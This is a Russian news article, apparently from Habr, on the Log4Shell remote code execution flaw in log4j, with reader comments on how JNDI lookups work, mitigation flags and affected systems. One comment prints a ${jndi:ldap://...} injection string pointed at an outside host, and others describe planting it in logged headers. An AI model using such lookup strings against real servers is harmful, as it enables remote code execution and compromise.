Критическая уязвимость в Java, в библиотеке log4j, которая используется в тысячах сервисов, начиная от Minecraft и заканчивая Apple Cloud, быстро превращается в серьезную угрозу для организаций по всему миру. Уязвимости подвержены сервера Apple, Valve, Microsoft и других.


  «Интернет сейчас в огне», — сказал журналистам Адам Мейерс, старший вице-президент компании Crowdstrike, занимающейся кибербезопасностью. — «Люди изо всех сил стараются исправить это, и в то же время самые разные люди пытаются это использовать». В пятницу Мейерс сказал, что за 12 часов, прошедших с момента обнаружения уязвимости, она была «полностью поставлена на вооружение», и злоумышленники разработали и распространили инструменты для ее использования.


Уязвимость позволяет злоумышленникам удаленно выполнять код на уязвимых серверах, давая им возможность импортировать вредоносное ПО, которое может полностью скомпрометировать любые машины.


Уязвимость обнаружена в log4j, библиотеке логирования Java-программ с открытым исходным кодом. Ее используют тысячи игр и приложений, в том числе облачные сервера и корпоративное ПО. Почти каждая сетевая система безопасности запускает какой-то процесс регистрации, что дает огромные возможности популярным библиотекам, таким как log4j. Затронуты все системы и службы, использующие библиотеку логирования Java, Apache Log4j между версиями 2.0 и 2.14.1, включая многие службы и приложения, написанные на Java.


Уязвимость, получившая название «Log4Shell», может стать самой серьезной, обнаруженной за последние годы. Ей подвержены крупные компании и даже сайты правительства стран. С её помощью даже новички в области программирования могут получить доступ к внутренним сетям, где они могут похищать ценную информацию, устанавливать вредоносные программы, стирать важные данные и так далее.


Джо Салливан, директор по безопасности Cloudflare:


Мне сложно представить себе компанию, для которой это не риск. Неисчислимые миллионы серверов работают с log4j, полные последствия не будут известны в течение нескольких дней.

Амит Йоран, гендиректор компании Tenable, занимающейся кибербезопасностью, назвал Log4Shell «самой большой и самой критической уязвимостью последнего десятилетия». «и, возможно, самой большой в истории современных компьютеров».




Уязвимость получила 10 баллов из 10 от Apache Software Foundation, которая курирует разработку ПО. По ее словам, любой, у кого есть информация об эксплойте, может получить полный доступ к незащищенному компьютеру, который использует это программное обеспечение.


По словам экспертов, чрезвычайная легкость, с которой уязвимость позволяет злоумышленнику получить доступ к веб-серверу без пароля, — вот что делает уязвимость настолько опасной.


Одной из первых публично об обнаружении уязвимости рассказала группа реагирования на чрезвычайные компьютерные ситуации Новой Зеландии. Тогда же, в четверг, через несколько часов был выпущен патч. Apache об уязвимости, обнаруженной в её ПО, еще 24 ноября сообщила Alibaba. На разработку и выпуск фикса ушло две недели.


Хотя патч сейчас и выпущен, мало кто знает о наличии уязвимости (за исключением злоумышленников), поэтому многие сервера остаются уязвимыми. Так, как сообщает LunaSec, уже обнаружено, что Steam и iCloud от Apple сейчас уязвимы.


А первые очевидные признаки использования уязвимости появились в Minecraft. Игроки могли включать выполнение программ на компьютерах других пользователей, вставляя короткое сообщение в окно чата.


Эксперт по безопасности Маркус Хатчинс говорит в Твиттере:


Миллионы приложений используют Log4j для ведения журналов, и все, что нужно сделать злоумышленнику — это заставить приложение зарегистрировать специальную строку.

Пока что исследователи обнаружили доказательства того, что уязвимость может быть использована на серверах таких компаний, как Apple, Amazon, Twitter и Cloudflare.






Хотите найти работу в IT? Подключайте себе телеграм-бот g-mate. Указываете зарплату и должность, и он выдает вам лучшие вакансии от компаний. Не нужно ни резюме, ни портфолио, настройка занимает меньше 30 секунд.


Комментарии (54)


  1. vnkr
    11.12.2021 20:06

    Вы упустили последний абзац в статье. Или он был добавлен после перевода.

    Салливан из Cloudflare заявил, что ничего не указывает на то, что сервера компании были скомпроментированы. Apple, Amazon и Twitter не ответили на запрос на момент написания статьи.

    А уязвимость правда паршивая.

    В блоге CF есть интересная информация как уже сейчас эту уязвимость пытаются эксплуатировать.


    1. sshikov
      11.12.2021 20:55
      +3

      >А уязвимость правда паршивая.
      Хм. Перечитал половину ссылок, но так и не понял, до конца, как же ее эксплуатировать. Ну ок, ${jndi:...} позволяет загрузить и выполнить произвольный класс из произвольного места. Дурь конечно несусветная, но… Во всяком случае, насколько я помню, шаблоны такого вида используются в конфигурации log4j, то есть в моем файле log4j.xml, например, а не в тех строках, которые пишутся в лог. Строки-то атакующий может контролировать с высокой вероятностю, например, обычно логируются так или иначе запросы, заголовки и пр. Но мою-то конфигурацию атакующий не контролирует. Я что-то не учитываю?


      1. vnkr
        11.12.2021 21:13
        +1

        Этот эксплоит позволяет выполнять подключение к произвольному ldap серверу, адрес которого записан в формате jndi: … А если в адрес сервера записать в base64 команду на bash, например, то при сохранении строки в лог эта команда будет выполнена от имени пользователя, от которого запущен сервис.


        1. sshikov
          11.12.2021 21:38
          +1

          >сохранении строки в лог эта команда будет выполнена от имени пользователя, от которого запущен сервис.
          Ну вот как раз в моем понимании — не будет.

          Вот кусок документации на подстановки:

          Log4j 2 supports the ability to specify tokens in the configuration as references to properties defined elsewhere.


          Видите tokens in the configuration? То есть, я понимаю, как ${jndi:...} записать в конфигурации, и прекрасно понимаю, что это потенциальная дыра. Дырища даже. Но это дырища в конфигурации, то есть атакующий должен контролировать log4j.xml. Чего обычно не бывает, во всяком случае просто так.

          А чтобы внешний атакующий смог такое сделать, эти шаблоны должны обрабатываться в логируемых строках. В моем понимании, если я в лог пишу переменную — то в ней подстановки не производятся. И все примеры, которые мне с ходу попадаются на глаза — они содержат именно конфиги, а не логируемые строки.


          1. ultrinfaern
            11.12.2021 21:42
            +4

            Судя по всему они написали универсальный обработчик строк. :) Теперь это обрабатывается не только в строках конфигурации а и вообще в любой логируемой строке.


            1. sshikov
              11.12.2021 21:55
              +2

              Да, вы знаете, так оно и было. Посмотрел в код.

              Раньше было так:
              You could disable message pattern lookups globally by setting system property `log4j2.formatMsgNoLookups` to true,
              or defining message pattern using %m{nolookups}.

              Ну т.е. если в шаблоне не было написано %m{nolookups} — то подставлялось.

              То есть по умолчанию в log4j2 было сделано, что подстановки обрабатывались, в том числе в логируемых строках. А последний фикс их выключил.


          1. vnkr
            11.12.2021 21:48
            +1

            Насколько я понимаю JNDI Lookup обрабатывают переменные из логов. В этом и состоит уязвимость. Если атакующий заставит вас записать лог с переменной, то эта переменная будет обработана.


            1. sshikov
              11.12.2021 21:56
              +1

              Да. См. сообщение выше. Все версии начиная с 2.0. Ну или точнее так: от шаблонов и log4j.xml все тоже зависит, например: если написать в шаблоне %m, то парсится и текст сообщения, потому что по умолчанию %m интерпретируется как %m{lookups}.

              Если найдется кто-то шибко умный, и у себя в конфиге напишет %m{nolookups}, то его система (скорее всего) не уязвима.

              P.S. У меня вообще log4j 1.2.* Он конечно не поддерживается, но зато такой фигни там нет.


              1. dragoangel
                12.12.2021 23:45
                +1

                Там уже другая rce ;)


                1. sshikov
                  13.12.2021 07:33

                  В смысле, в 1.2.*? Вполне верю.


                1. sshikov
                  13.12.2021 07:39

                  А кстати, какая? Мне давно известно, что SocketServer такое, ну… эксплуатируемое, CVE-2019-17571 и даже давно. Но это дырка не того масштаба.


          1. creker
            11.12.2021 22:08
            +1

            атакующий должен контролировать log4j.xml

            Не должен. Конфигурация по-умолчанию это как раз парсить подобные строки и выполнять все, что там написано без каких-либо ограничений. Поэтому в качестве обходного пути предлагают эти конфиги править, чтобы это все отключить. А реальный фикс это отключение этого механизма по-умолчанию в библиотеке и введение белых список ресурсов, откуда можно код скачивать https://github.com/apache/logging-log4j2/pull/608

            Уязвимость так же зависит от версии Java. Довольно давно там отключили возможность исполнения кода по-умолчанию, что вроде как смягчает ущерб, но и это все обходится, судя по всему https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/ Поэтому патчить придется.


            1. sshikov
              11.12.2021 22:15

              habr.com/ru/company/gms/blog/594921/?reply_to=23810493#comment_23810463

              Меня смутило, что в документации на сайте про парсинг строк ни слова, и все примеры — только про конфиги. Вообще такой парсинг означает, что производительность проседает дополнительно, хотя она и так не всегда удовлетворительная, то есть его стоит отключить в любом случае.

              Скачивать код вообще запретил бы нафиг, это дурацкая идея, граничащая с диверсией.


      1. tbl
        11.12.2021 21:17
        +1

        Может быть и внутренняя эксплуатация уязвимости, когда злоумышленник, имея доступ к логам, сможет узнать секреты, хранящиеся в property-файлах или переменных окружения через sys- и env-лукапы.


      1. mortadella372
        12.12.2021 00:13

        загрузить и выполнить произвольный класс из произвольного места

        А как достигатеся выполнение? Там, что ли, по контракту приезжает нечто с методом lookup(), за который дергают?


        1. sshikov
          12.12.2021 09:21

          Именно так. Насколько я помню, StrLookup имплементят куча плагинов, которые можно использовать. Просто никто не предполагал (а может наоборот), что можно загрузить не с нашего хоста…


  1. qw1
    11.12.2021 20:16
    +1

    Порт этой либы, log4net, тоже уязвим?


    1. vnkr
      11.12.2021 20:22
      +1

      Похоже нет. Уязвимость замечена только в версии для Java.


    1. creker
      11.12.2021 21:51
      +2

      Уязвимость опирается на JNDI, которое являются частью Java. Если в log4net и будет уязвимость, то другая. В .net тоже есть средства подгрузки чужих сборок, но это надо сильно извратиться и быть конкретным таким вредителем, чтобы реализовать это так же, как здесь.


      1. sshikov
        11.12.2021 21:58

        Ну, скажем прямо, авторы log4j тоже видимо не представляли себе, что можно выполнить jndi лукап с чужого сервера. Вряд ли это было сделано с умыслом.


        1. creker
          11.12.2021 22:23
          +8

          Вообще, судя по мутному описанию JNDI, в этом вся идея - скачать откуда-то Java объект. Читай, исполнить откуда-то произвольный код. Любому разумному человеку понятно, что любые возможности исполнения кода, полученного из любого внешнего источника, должны быть либо запрещены напрочь (какого хрена это вообще включено в библиотеке логирования), либо хотя бы отключены по-умолчанию.

          Это было сделано наверное без умысла, но однозначно кто-то серьезно обосрался. Это базовые вещи и можно только догадываться, кто знал об этой уязвимости до нас.


          1. st__shadow
            12.12.2021 02:02
            +2

            В Java есть SecurityManager, который позволяет настроить кто что может выполнять, но редкий Senior знает про его существование, а тем более, как его использовать.


            1. sashok724
              12.12.2021 02:06
              +3

              Он был объявлен устаревшим в Java 17.


              1. netch80
                13.12.2021 13:21

                А что взамен?


                1. sashok724
                  13.12.2021 20:31
                  +1

                  А взамен не стоит запускать недоверенный код, это в любом случае ни к чему хорошему не приводит.


                  1. netch80
                    13.12.2021 21:16

                    Тем не менее контекстов, где запускают заведомо недоверенный код, обложившись защитами, over 100500. Например, Амазон пускает кого угодно на EC2, лишь бы платил. (Поправку на хостинг террористов, спам и т.п. учёл, тут не важна.) Значит, это возможно. В браузерах тоже одна страница не видит другую и не мешает ей (да, регулярно вылазят проблемы, и их затыкают). Почему тут нельзя было бы сделать такое?

                    Вариант с запуском в отдельном процессе ОС понимаю. Таки это иногда жестковатая мера.


                    1. sashok724
                      13.12.2021 21:23
                      +1

                      Ну, с виртуализацией/контейнеризацией конечно это возможно, но тут речь про запуск недоверенного кода в той же самой JVM, где недоверенный код будет взаимодействовать с доверенным. Конечно, можно было бы потратить много усилий чтобы сделать это безопасно (SecurityManager с этим справлялся плохо даже если был нормально настроен, к слову), если бы это было нужно значительному количеству людей. Но нет, почти никому это оказалось не нужно, потому что в большинстве случаев JVM используется для бэкэнда серверов, где недоверенного кода нет, а если таки надо его выполнить, то всегда можно заспавнить процесс в отдельном сильно ограниченном namespace'е, что и проще чем настраивать SM, и безопасней. Не вижу проблемы.


            1. sshikov
              12.12.2021 09:15

              Есть, точнее уже был. Но даже его наличие не мешало несколько раз эксплуатировать уязвимости похожего вида. И потом, настроить его довольно сложно, шансы ошибиться тоже велики.


            1. urvanov
              12.12.2021 10:17

              уже нет


          1. sshikov
            12.12.2021 09:19
            +2

            >скачать откуда-то Java объект
            Не, ну в целом-то понятно откуда. JNDI это то место, откуда в JavaEE делались лукапы сервисов, задеплоенных в наш же контейнер приложений (ну, так задумывалось). То есть, по сути, мы знаем, что вот тут живет такой-то сервис, по такому-то пути, и можем его дернуть. Но а) разрешать это делать даже не из кода, не из конфига, а из текста сообщения — это пипец как недальновидно, и б) разрешать лукап из произвольного контекста (произвольный API) недальновидно вдвойне.


  1. ultrinfaern
    11.12.2021 21:38

    Как я понял, эту строку нужно всунуть в запрос в то место, которое будет логироваться. Например все Application Server логируют заголовок запроса, включая и User-Agent. Или вы логируете какое-то пришедшее значение.


  1. Crimento
    11.12.2021 22:23

    Все комьюнити Minecraft тоже в панике, чтобы выполнить вредоносный код на клиенте достаточно получить сообщение в чат, случаи уже есть. Разработчики и r/feedthebeast рекомендуют пока вообще воздержаться от мультиплеера.

    Вот PoC: https://www.youtube.com/watch?v=KA5Pyd258kw

    В оригинальном лаунчере уже пофиксили и выпустили хотфикс 1.18.1, а вот что делать с кучей кастомных проектов и модпаков пока не особо понятно. -Dlog4j2.formatMsgNoLookups=true вроде спасает ситуацию, но он нужен и на клиенте и на сервере.

    А с учетом того, что в некоторых местах до сих пор работают древние версии Java и с фиксами заморачиваться никто не будет, ситуация становится очень печальной.


    1. sashok724
      11.12.2021 22:24

      Спасает только на майнкрафтах 1.13 и выше, на 1.12 и ниже (сейчас это самая популярная версия на публичных серверах) используется версия log4j в которой этого параметра ещё нет.


  1. sashok724
    11.12.2021 22:23
    +2

    Уязвимость конечно серьёзная (и очень глупая, потому что делать по умолчанию замену плейсхолдеров в лог-сообщении это прямо рецепт как получить такие проблемы; с другой стороны, если бы разработчики которые используют эту библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его), но очень сильно преувеличена.

    Именно RCE (загрузка класса и его выполнение) возможно только на Java 8u121 и более старых, на джавах новее требуется специальный флаг чтобы рантайм доверял классам загруженным по URL в соответствии с ответом JNDI или RMI сервера, поэтому на новых джавах можно только чуток попортить лог-сообщения и узнать IP-адрес сервера с программой которая это сообщение залоггировала (UPD: Нет, RCE на новых версиях джавы всё ещё возможен, но сложнее).


    1. creker
      11.12.2021 22:27
      +13

      библиотеку читали бы документацию не по диагонали, они бы знали про параметр nolookups и просто добавили бы его

      Такая логика и приводит к подобным уязвимостям. Такие вещи всегда должны быть отключены по-умолчанию. Если разработчик про них не знает, то он вне угрозы. Если знает, то это уже его проблемы, если его ломанут. А сейчас же косяк целиком и полностью на авторах библиотеки.

      Новые версии Java тоже не спасут

      https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/


      1. sashok724
        11.12.2021 22:30
        +1

        Да, вы правы, с тем что новая версия джавы спасёт ошибся, хоть и эксплуатировать уязвимость с новой версией джавы сложнее. Нужно чтобы в classpath были сторонние определённые библиотеки, что сильно снижает количество уязвимых приложений, на том же сервере или клиенте майнкрафта уже не сработает.


  1. Gorthauer87
    11.12.2021 23:13
    +28

    То есть, разработчики встроили интерпетатор в логгер, в который могут попадать произвольные строчки от внешних источников, вот казалось бы, что тут может пойти не так?

    Блин это же просто лютейший фейспалм. Сколько там ещё такого может быть?


    1. vp7
      12.12.2021 02:55
      +7

      А теперь задумайтесь над тем, что это открытая либа с открытыми исходниками, которым пользуется чуть ли не половина мира Java разработчиков. И, внимание, уязвимость заметили совсем недавно.
      Сколько ещё подобных уязвимостей в привычных всем вещах? Становится страшновато.


      1. Throwable
        12.12.2021 13:09
        +2

        А ничего удивительного. В Logback мы внезапно столкнулись с багом, который спровоцировал почти детективную историю поиска отказа в системе. Баг стоит в трекере ещё с 2014 года, но до сих пор не закрыт.


  1. lunacyrcus
    12.12.2021 00:14
    +4

    Амит Йоран, гендиректор компании Tenable, занимающейся кибербезопасностью, назвал Log4Shell «самой большой и самой критической уязвимостью последнего десятилетия». «и, возможно, самой большой в истории современных компьютеров».

    А возможно еще и самой тупой при этом.

    Это же надо реально сделать кучу систем дырявыми из-за такого компонента как логгер, еще и на яве, еще и опенсорс. Вот просто слов нет.


  1. Gaikotsu
    12.12.2021 00:30
    +1

    Я так до конца и не понял, версия 1.2.х уязвима вобще к такой атаке или же нет? Или же это все касается исключительно 2.х версий?


    1. vnkr
      12.12.2021 13:15

      Где-то видел, что с высокой вероятностью да, но никто особо не проверял, т.к. версия end of life.


    1. utor
      12.12.2021 21:18

      проверил, у меня не срабатывает
      log.info("${jndi:ldap://log4shell.huntress.com:1389/735a545e-cf12-4990-ad08-3e2e445c2cc9}");


  1. loltrol
    12.12.2021 00:58
    +3

    Дичь, в логгере RCE. Спасибо индусам и кровавому энтерпрайзу.


  1. Wesha
    12.12.2021 03:11
    +13

    Ещё не запостили?



  1. nsmcan
    12.12.2021 06:19
    +2

    Интересно, сегодня, я думаю, множество IT специалистов вызваны на рабочие места и срочно анализируют наличие или отсутствие дырки в их системах. И ищут следы взлома, если дырка найдена.

    Только этим я могу объяснить сравнительно равнодушное отношение к этой новости на хабре.

    Я то свои три часа овертайма отработал. Python / Flask / IIS - не задеты


    1. Wesha
      12.12.2021 07:57
      +8

      Как насчёт опции "не используем Java, бог миловал"?


    1. QeqReh
      13.12.2021 07:28

      Сбер с Тиньковым как раз лежали. Вероятно срочно накатывали фиксы на прод.


  1. Bakuard
    12.12.2021 07:43

    В logback есть похожая уязвимость? Кто-нибудь проверял?


  1. Throwable
    12.12.2021 13:12

    А все потому что не надо быть швейцарким ножом, ставя в приоритет количество фич над удобством и безопасностью.


  1. crea7or
    12.12.2021 14:14
    +2

    Как предусмотрительно яндекс переписал log4j на c++ :)


  1. dax
    12.12.2021 15:27
    +5

    В данной ситуации некрасивую позицию занял Elasticsearch, например. Их официальное заявление: "Elasticsearch is not susceptible to remote code execution" [1]. И в то же время в сети уже появились первые пруфы атак на их систему [2]. Вот зачем так некрасиво врать, спрашивается?

    [1] https://discuss.elastic.co/t/apache-log4j2-remote-code-execution-rce-vulnerability-cve-2021-44228-esa-2021-31/291476

    [2] https://github.com/YfryTchsGD/Log4jAttackSurface/blob/master/pages/ElasticSearch.md


    1. grossws
      12.12.2021 21:29
      +5

      В современном мире использовать elastic - это уже риск, учитывая их текущую лицензию и "мамой клянусь, будем больно бить только Амазон и облачных провайдеров, вас требование на раскрытие всего кода точно не затронет".